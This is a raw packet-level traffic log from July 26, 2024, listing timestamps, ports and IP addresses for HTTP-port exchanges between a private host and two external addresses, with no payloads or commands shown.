Jul 26, 2024 13:49:31.845736027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.845768929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.845803022 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.845843077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.845990896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846024036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846056938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846090078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846414089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846450090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846481085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846601009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846633911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846730947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846764088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.846927881 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.847347021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847398996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847433090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847465038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847496986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847529888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847565889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847615004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847649097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847681999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847714901 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847745895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847783089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847815037 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847848892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.847881079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848100901 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848134041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848165989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848198891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848232031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848284960 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848319054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848691940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848725080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848757029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848789930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848824024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848856926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848889112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848921061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848953962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.848987103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849020004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849051952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849086046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849478960 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849513054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849545002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849577904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849684000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849735975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849769115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849802971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.849836111 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850081921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850114107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850147009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850178957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850212097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850244045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850275040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850469112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850501060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.850533962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.862557888 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.880800962 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.898997068 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.899034023 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.899066925 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.899096966 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.899127960 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.899156094 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.899185896 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.899215937 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.899302006 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.930356979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.930403948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.941492081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:31.987380028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.987431049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.987442017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.989854097 CEST	80	59059	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:31.990169048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990238905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990248919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990286112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990736961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990787029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990796089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990875959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990885019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990896940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990976095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.990984917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991050005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991100073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991111040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991453886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991498947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991509914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991564989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991699934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991709948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.991719007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.996104002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.996114969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.998099089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.998141050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.998189926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.998198986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.998346090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.998357058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.998364925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:31.998373985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.002800941 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.015578032 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.015613079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.016833067 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.016866922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.016900063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017018080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017050028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017082930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017117023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017152071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017184973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017313004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017345905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017378092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017410040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017442942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017474890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017509937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017852068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017884016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017916918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017949104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.017981052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018013000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018044949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018076897 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018110037 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018141031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018172026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018203974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018235922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018268108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018301010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018332958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018366098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018398046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018822908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018856049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018887043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018919945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018950939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.018982887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019015074 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019047976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019079924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019112110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019144058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019176006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019207954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019241095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019272089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019304991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019336939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019368887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.019401073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020111084 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020143986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020175934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020210028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020241022 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020272970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020304918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020337105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020369053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020401001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020450115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020503044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020535946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020569086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020600080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020636082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020667076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020699978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020730972 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020764112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020797968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020829916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.020864010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.022449970 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.022794008 CEST	59059	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:32.042709112 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.062922955 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.062964916 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.078164101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.078212976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.078249931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.083228111 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.103157043 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.103321075 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.115840912 CEST	59059	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:32.121648073 CEST	80	59059	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:32.123500109 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.124943018 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.125574112 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.126070976 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.129707098 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.129735947 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.129761934 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.129851103 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.139573097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.139627934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.139662027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.139879942 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.142222881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142273903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142307043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142338991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142370939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142424107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142458916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142491102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142534018 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.142570019 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.142581940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142613888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142647028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142678976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142824888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142874956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.142908096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.143038034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.143069983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.143101931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.143135071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.143167973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.143507004 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.143553972 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.143876076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.143928051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.147687912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.147721052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.147753954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148519993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148642063 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148674011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148705959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148780107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148813009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148925066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148957014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.148989916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149058104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149106026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149139881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149172068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149204016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149386883 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.149429083 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.149456978 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.149795055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149846077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149882078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149929047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.149962902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150008917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150039911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150088072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150120974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150151968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150273085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150305033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150338888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150388956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150438070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150480986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150513887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150544882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.150577068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.151046991 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151527882 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151566982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.151587009 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151618004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.151643991 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151655912 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151665926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.151698112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.151699066 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151731014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.151746988 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151762962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.151784897 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151797056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.151808977 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.151834011 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.152252913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152302980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152334929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152403116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152436018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152555943 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152587891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152620077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152652025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152686119 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152791023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152829885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152862072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152894020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.152925014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.153002024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.153033972 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.153064966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.153098106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.153130054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.153723955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.153755903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.153789043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154000998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154032946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.154063940 CEST	80	59056	185.215.113.16	192.168.2.6
